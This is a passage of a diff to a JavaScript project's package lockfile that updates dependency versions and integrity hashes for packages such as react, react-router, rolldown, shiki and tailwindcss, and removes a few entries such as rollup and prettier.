"^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="], - - "prettier": ["prettier@3.8.5", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-zxcTTCedNGJM4R8sj/Cq/F0W/c4iE0afWBcBwMTRtw4WHYP9TWkYjdiH3npPRUYsXQCPR0hTU9yjovOu+E6EQA=="], + "postcss": ["postcss@8.5.26", "", { "dependencies": { "nanoid": "^3.3.17", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-u82N74LFzG8ca+dD8puPnplTXoGH4fTPpVGuIbt36G3qvNlkvfD0lEAZSxaly3KX8TS/L1A1gsCEmvKmBcVbkQ=="], "prismjs": ["prismjs@1.30.0", "", {}, "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw=="], @@ -1094,49 +1076,49 @@ "property-expr": ["property-expr@2.0.6", "", {}, "sha512-SVtmxhRE/CGkn3eZY1T6pC8Nln6Fr/lu1mKSgRud0eC73whjGfoAogbn78LkD8aFL0zz3bAFerKSnOl7NlErBA=="], - "property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="], + "property-information": ["property-information@7.2.0", "", {}, "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg=="], "range-parser": ["range-parser@1.2.0", "", {}, "sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A=="], "rc": ["rc@1.2.8", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="], - "react": ["react@19.2.7", "", {}, "sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ=="], + "react": ["react@19.2.8", "", {}, "sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw=="], "react-copy-to-clipboard": ["react-copy-to-clipboard@5.1.1", "", { "dependencies": { "copy-to-clipboard": "^3.3.3", "prop-types": "^15.8.1" }, "peerDependencies": { "react": ">=15.3.0" } }, "sha512-s+HrzLyJBxrpGTYXF15dTgMjAJpEPZT/Yp6NytAtZMRngejxt6Pt5WrfFxLAcsqUDU6sY1Jz6tyHwIicE1U2Xg=="], "react-d3-tree": ["react-d3-tree@3.6.6", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="], - "react-dom": ["react-dom@19.2.7", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.7" } }, "sha512-t0BRVXvbiE/o20Hfw669rLbMCDWtYZLvmJigy2f0MxsXF+71pxhR3xOkspmsO8h3ZlNzyibAmtCa3l4lYKk6gQ=="], + "react-dom": ["react-dom@19.2.8", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.8" } }, "sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ=="], - "react-hook-form": ["react-hook-form@7.80.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-4P+fk6oXsxY+6xSj7Euhc2sumQD8zQqCuVHoJwoyp9EchP+IUW9OESB7uHFJOKsIBQ4MQqYE84INJFqUCYNoOg=="], + "react-hook-form": ["react-hook-form@7.87.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-zhFzWvLxNHH+8839OnZcUxgMZw88ah2jZWDWvKWgF3Tpbnd0vKL+dlcuU3nZVWESZQjd81EW8K+wU+cYfYAc0w=="], - "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], + "react-hotkeys-hook": ["react-hotkeys-hook@5.3.3", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-aswgyWUnE25hmhzHTfKDmKzsaSE5DJ4LKaU/o6rQSXkDd/1Bh9TfAFQbHkf6fLy11HvlYkp+cDDarGdhmCDhoQ=="], - "react-i18next": ["react-i18next@17.0.8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-0ooKbGLU8JXhe1zwpQUWIeXSgLPOfwJmgheWRIUpcoA0CpyabpGhayjdG+/eA5esC1AQ8h2jWpXjJfzQzeDOCw=="], + "react-i18next": ["react-i18next@17.0.12", "", { "dependencies": { "@babel/runtime": "^7.29.7", "html-parse-stringify": "^4.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "react-dom": "*", "react-native": "*", "typescript": "^5 || ^6 || ^7" }, "optionalPeers": ["react-dom", "react-native", "typescript"] }, "sha512-lFWPEGkxQ6RhusdUkysFBD58VHfSSzvHBzqMgN0SvfVpdQGfwtNkStTqdy08/sJd7s807qqutgx93fRpD0DJ3Q=="], "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], "react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="], - "react-medium-image-zoom": ["react-medium-image-zoom@5.4.8", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-72CIldEUaPejjcaDOYIeDsGlWzNKpmxyKgiPi1LBCkWCIGHDLlA2KTeo2uNtmN/m72Y3k/2uWDfon9SDiPbHaA=="], + "react-medium-image-zoom": ["react-medium-image-zoom@5.4.9", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-czBdTbJI6JEbqeRIT5M8D3j7TrffBfo00U0P0lzzd19usj8PiR1yPH7PK/vQlwBE/Sv9YFdJGN6XauJPi4jRyg=="], - "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="], + "react-refresh": ["react-refresh@0.18.0", "", {}, "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw=="], "react-remove-scroll": ["react-remove-scroll@2.7.2", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q=="], "react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="], - "react-router": ["react-router@7.10.0", "", { "dependencies": { "cookie": "^1.0.1", "set-cookie-parser": "^2.6.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" }, "optionalPeers": ["react-dom"] }, "sha512-FVyCOH4IZ0eDDRycODfUqoN8ZSR2LbTvtx6RPsBgzvJ8xAXlMZNCrOFpu+jb8QbtZnpAd/cEki2pwE848pNGxw=="], + "react-router": ["react-router@8.3.1", "", { "dependencies": { "cookie-es": "^3.1.1" }, "peerDependencies": { "react": ">=19.2.7", "react-dom": ">=19.2.7" }, "optionalPeers": ["react-dom"] }, "sha512-TEOpiO2g0TJHEOJeRVv4amUFun9v1npCKszvcquNvzETUtJ8udV86ah5eFoHT7g26bsBvT6EiIhqulR8eDF++A=="], - "react-router-devtools": ["react-router-devtools@6.2.1", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-client": "^0.0.5", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-qhQg5bJvsiWQpCddehh7HUpNt/zGlxHygG3rseooky1ENDGmlNwB08w4gW4YZRzeZOPgVpgEXgw94ypBpGfpww=="], + "react-router-devtools": ["react-router-devtools@6.2.3", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-client": "^0.0.5", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0", "vite-node": "^5.0.0 || ^6.0.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0" } }, "sha512-3JgKXzB2/167052LgCLSh7ECb4vi8fu/Ddr8UfdO3OH2lFIDMbr6tMtTe3Wek16puahgPDKniqRw6bZCAu7CFg=="], "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="], "react-syntax-highlighter": ["react-syntax-highlighter@16.1.1", "", { "dependencies": { "@babel/runtime": "^7.28.4", "highlight.js": "^10.4.1", "highlightjs-vue": "^1.0.0", "lowlight": "^1.17.0", "prismjs": "^1.30.0", "refractor": "^5.0.0" }, "peerDependencies": { "react": ">= 0.14.0" } }, "sha512-PjVawBGy80C6YbC5DDZJeUjBmC7skaoEUdvfFQediQHgCL7aKyVHe57SaJGfQsloGDac+gCpTfRdtxzWWKmCXA=="], - "react-tooltip": ["react-tooltip@5.30.0", "", { "dependencies": { "@floating-ui/dom": "^1.6.1", "classnames": "^2.3.0" }, "peerDependencies": { "react": ">=16.14.0", "react-dom": ">=16.14.0" } }, "sha512-Yn8PfbgQ/wmqnL7oBpz1QiDaLKrzZMdSUUdk7nVeGTwzbxCAJiJzR4VSYW+eIO42F1INt57sPUmpgKv0KwJKtg=="], + "react-tooltip": ["react-tooltip@5.30.1", "", { "dependencies": { "@floating-ui/dom": "^1.6.1", "classnames": "^2.3.0" }, "peerDependencies": { "react": ">=16.14.0", "react-dom": ">=16.14.0" } }, "sha512-1lSPLQXuVooePxadUpmcwLgOsF1mIty7UZTJ9XnyfX4drOzStYs4JMXnazcDLguQr41W5OUZddOp9kfvArdpEQ=="], - "readdirp": ["readdirp@4.1.2", "", {}, "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg=="], + "readdirp": ["readdirp@5.1.1", "", {}, "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA=="], "recma-build-jsx": ["recma-build-jsx@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "estree-util-build-jsx": "^3.0.0", "vfile": "^6.0.0" } }, "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew=="], @@ -1176,13 +1158,11 @@ "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], - "reselect": ["reselect@5.2.0", "", {}, "sha512-AgZ3UOZm3YndfrJ4OYjgrT7bmCm/1iqkjvEfH/oYjzh6PD2qw4QuT3jjnXIrpdt4MTpMXclMT3lXbmRY+XRakw=="], + "reselect": ["reselect@5.3.0", "", {}, "sha512-XGoLeRAVzUTcJ1qkxPQhDJyIZ5d6zzZD9nT7AEZOaaU9UbWclhycElmhO+VD5bFeLuzhPBaOV2oXC8uG35ZSpg=="], "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="], - "rolldown": ["rolldown@1.1.3", "", { "dependencies": { "@oxc-project/types": "=0.137.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.1.3", "@rolldown/binding-darwin-arm64": "1.1.3", "@rolldown/binding-darwin-x64": "1.1.3", "@rolldown/binding-freebsd-x64": "1.1.3", "@rolldown/binding-linux-arm-gnueabihf": "1.1.3", "@rolldown/binding-linux-arm64-gnu": "1.1.3", "@rolldown/binding-linux-arm64-musl": "1.1.3", "@rolldown/binding-linux-ppc64-gnu": "1.1.3", "@rolldown/binding-linux-s390x-gnu": "1.1.3", "@rolldown/binding-linux-x64-gnu": "1.1.3", "@rolldown/binding-linux-x64-musl": "1.1.3", "@rolldown/binding-openharmony-arm64": "1.1.3", "@rolldown/binding-wasm32-wasi": "1.1.3", "@rolldown/binding-win32-arm64-msvc": "1.1.3", "@rolldown/binding-win32-x64-msvc": "1.1.3" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-1F1eEtUBtFvcGm1HQ9TiUIUHPQG7mSAODrhIzjxoUEFuo8OcbrGLiVLkevNgj84TE4lnHvnumwFjhJO5Eu135g=="], - - "rollup": ["rollup@4.62.2", "", { "dependencies": { "@types/estree": "1.0.9" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.62.2", "@rollup/rollup-android-arm64": "4.62.2", "@rollup/rollup-darwin-arm64": "4.62.2", "@rollup/rollup-darwin-x64": "4.62.2", "@rollup/rollup-freebsd-arm64": "4.62.2", "@rollup/rollup-freebsd-x64": "4.62.2", "@rollup/rollup-linux-arm-gnueabihf": "4.62.2", "@rollup/rollup-linux-arm-musleabihf": "4.62.2", "@rollup/rollup-linux-arm64-gnu": "4.62.2", "@rollup/rollup-linux-arm64-musl": "4.62.2", "@rollup/rollup-linux-loong64-gnu": "4.62.2", "@rollup/rollup-linux-loong64-musl": "4.62.2", "@rollup/rollup-linux-ppc64-gnu": "4.62.2", "@rollup/rollup-linux-ppc64-musl": "4.62.2", "@rollup/rollup-linux-riscv64-gnu": "4.62.2", "@rollup/rollup-linux-riscv64-musl": "4.62.2", "@rollup/rollup-linux-s390x-gnu": "4.62.2", "@rollup/rollup-linux-x64-gnu": "4.62.2", "@rollup/rollup-linux-x64-musl": "4.62.2", "@rollup/rollup-openbsd-x64": "4.62.2", "@rollup/rollup-openharmony-arm64": "4.62.2", "@rollup/rollup-win32-arm64-msvc": "4.62.2", "@rollup/rollup-win32-ia32-msvc": "4.62.2", "@rollup/rollup-win32-x64-gnu": "4.62.2", "@rollup/rollup-win32-x64-msvc": "4.62.2", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA=="], + "rolldown": ["rolldown@1.2.6", "", { "dependencies": { "@oxc-project/types": "=0.147.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm-eabi": "1.2.6", "@rolldown/binding-android-arm64": "1.2.6", "@rolldown/binding-darwin-arm64": "1.2.6", "@rolldown/binding-darwin-x64": "1.2.6", "@rolldown/binding-freebsd-x64": "1.2.6", "@rolldown/binding-linux-arm-gnueabihf": "1.2.6", "@rolldown/binding-linux-arm64-gnu": "1.2.6", "@rolldown/binding-linux-arm64-musl": "1.2.6", "@rolldown/binding-linux-ppc64-gnu": "1.2.6", "@rolldown/binding-linux-s390x-gnu": "1.2.6", "@rolldown/binding-linux-x64-gnu": "1.2.6", "@rolldown/binding-linux-x64-musl": "1.2.6", "@rolldown/binding-openharmony-arm64": "1.2.6", "@rolldown/binding-win32-arm64-msvc": "1.2.6", "@rolldown/binding-win32-x64-msvc": "1.2.6" }, "bin": { "rolldown": "./bin/cli.mjs" } }, "sha512-vMM4q3aixf46GiF1Kok8jDPFsEpXgFWGjUHXNkNHNm+Y2adXAG2dbX91jkti3i0ZRsOlcmbuzAz1poObSHCmUA=="], "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], @@ -1192,29 +1172,27 @@ "semver": ["semver@7.8.5", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA=="], - "seroval": ["seroval@1.3.2", "", {}, "sha512-RbcPH1n5cfwKrru7v7+zrZvjLurgHhGyso3HTyGtRivGWgYjbOmGuivCQaORNELjNONoK35nj28EoWul9sb1zQ=="], + "seroval": ["seroval@1.5.6", "", {}, "sha512-rVQVWjjSvlINzaQPZH5JFqsqEsIWdTxY3iJZCnTL/5gQbXIRooVZKI60tVCkOVfzcRPejboxO2t0P89dg5mQaA=="], - "seroval-plugins": ["seroval-plugins@1.3.3", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-16OL3NnUBw8JG1jBLUoZJsLnQq0n5Ua6aHalhJK4fMQkz1lqR7Osz1sA30trBtd9VUDc2NgkuRCn8+/pBwqZ+w=="], + "seroval-plugins": ["seroval-plugins@1.5.6", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-HXuLAX2pu/UByPpaeo/TaMfvMIi+1QqIoPJYCcAtU8QkVNwgR6MPlGuCQTErV1JwraaMbYaWVIBX7mppzGLATQ=="], "serve": ["serve@14.2.6", "", { "dependencies": { "@zeit/schemas": "2.36.0", "ajv": "8.18.0", "arg": "5.0.2", "boxen": "7.0.0", "chalk": "5.0.1", "chalk-template": "0.4.0", "clipboardy": "3.0.0", "compression": "1.8.1", "is-port-reachable": "4.0.0", "serve-handler": "6.1.7", "update-check": "1.5.4" }, "bin": { "serve": "build/main.js" } }, "sha512-QEjUSA+sD4Rotm1znR8s50YqA3kYpRGPmtd5GlFxbaL9n/FdUNbqMhxClqdditSk0LlZyA/dhud6XNRTOC9x2Q=="], "serve-handler": ["serve-handler@6.1.7", "", { "dependencies": { "bytes": "3.0.0", "content-disposition": "0.5.2", "mime-types": "2.1.18", "minimatch": "3.1.5", "path-is-inside": "1.0.2", "path-to-regexp": "3.3.0", "range-parser": "1.2.0" } }, "sha512-CinAq1xWb0vR3twAv9evEU8cNWkXCb9kd5ePAHUKJBkOsUpR1wt/CvGdeca7vqumL1U5cSaeVQ6zZMxiJ3yWsg=="], - "set-cookie-parser": ["set-cookie-parser@2.7.2", "", {}, "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw=="], - "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], - "shell-quote": ["shell-quote@1.8.3", "", {}, "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="], + "shell-quote": ["shell-quote@1.10.0", "", {}, "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA=="], - "shiki": ["shiki@4.3.0", "", { "dependencies": { "@shikijs/core": "4.3.0", "@shikijs/engine-javascript": "4.3.0", "@shikijs/engine-oniguruma": "4.3.0", "@shikijs/langs": "4.3.0", "@shikijs/themes": "4.3.0", "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-NKKjWzR6LIGL3sXBrWDw9sDS9cxx42/DkysaNqJEeOWE8Kix5gpak0bc00OfDVEO4oyXSyz8+aRaqKoBD1yo7A=="], + "shiki": ["shiki@4.4.3", "", { "dependencies": { "@shikijs/core": "4.4.3", "@shikijs/engine-javascript": "4.4.3", "@shikijs/engine-oniguruma": "4.4.3", "@shikijs/langs": "4.4.3", "@shikijs/themes": "4.4.3", "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-Mb/GvXPHBAXdgGIcnfU5L3ldpn1XcxrGkPHwqgRx17/I2XRfqlFKk2vGkHWINn1kdXvzJZeuO3is6I9KLPFm0g=="], "signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], - "solid-js": ["solid-js@1.9.10", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.3.0", "seroval-plugins": "~1.3.0" } }, "sha512-Coz956cos/EPDlhs6+jsdTxKuJDPT7B5SVIWgABwROyxjY7Xbr8wkzD68Et+NxnV7DLJ3nJdAC2r9InuV/4Jew=="], + "solid-js": ["solid-js@1.9.15", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.5.4", "seroval-plugins": "~1.5.4" } }, "sha512-EeiY2xfpZJqPLjXspVEKjAII4yv8NyG//NxZ3IpOFHdUNnnTyL0uJOeS9LWGvA7cFCz5y94cjFwYlmw5Luncsg=="], - "sonner": ["sonner@2.0.7", "", { "peerDependencies": { "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w=="], + "sonner": ["sonner@2.0.8", "", { "peerDependencies": { "@types/react": "^18.0.0 || ^19.0.0", "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-UM/ByIoFra8yzV75n1o0Puu0bw5U/9UNnDacrJNspekBewIfsQ3D6ez1nvlWpt7aTsO6rujQtifBpycwIivqlg=="], "source-map": ["source-map@0.7.6", "", {}, "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ=="], @@ -1226,7 +1204,7 @@ "stringify-entities": ["stringify-entities@4.0.4", "", { "dependencies": { "character-entities-html4": "^2.0.0", "character-entities-legacy": "^3.0.0" } }, "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg=="], - "strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="], + "strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], "strip-final-newline": ["strip-final-newline@2.0.0", "", {}, "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="], @@ -1240,13 +1218,13 @@ "tailwind-merge": ["tailwind-merge@3.6.0", "", {}, "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w=="], - "tailwindcss": ["tailwindcss@4.3.1", "", {}, "sha512-hk+TB1m+K8CYNrP6rjQaq/Y+4Zylwpa87mLYBKCunwnnQ9p+fHb7kmSfGqyEJoxF/O6CDyABWVFEafNSYKll+Q=="], + "tailwindcss": ["tailwindcss@4.3.3", "", {}, "sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ=="], "tapable": ["tapable@2.3.3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="], "tiny-case": ["tiny-case@1.0.3", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="], - "tinyexec": 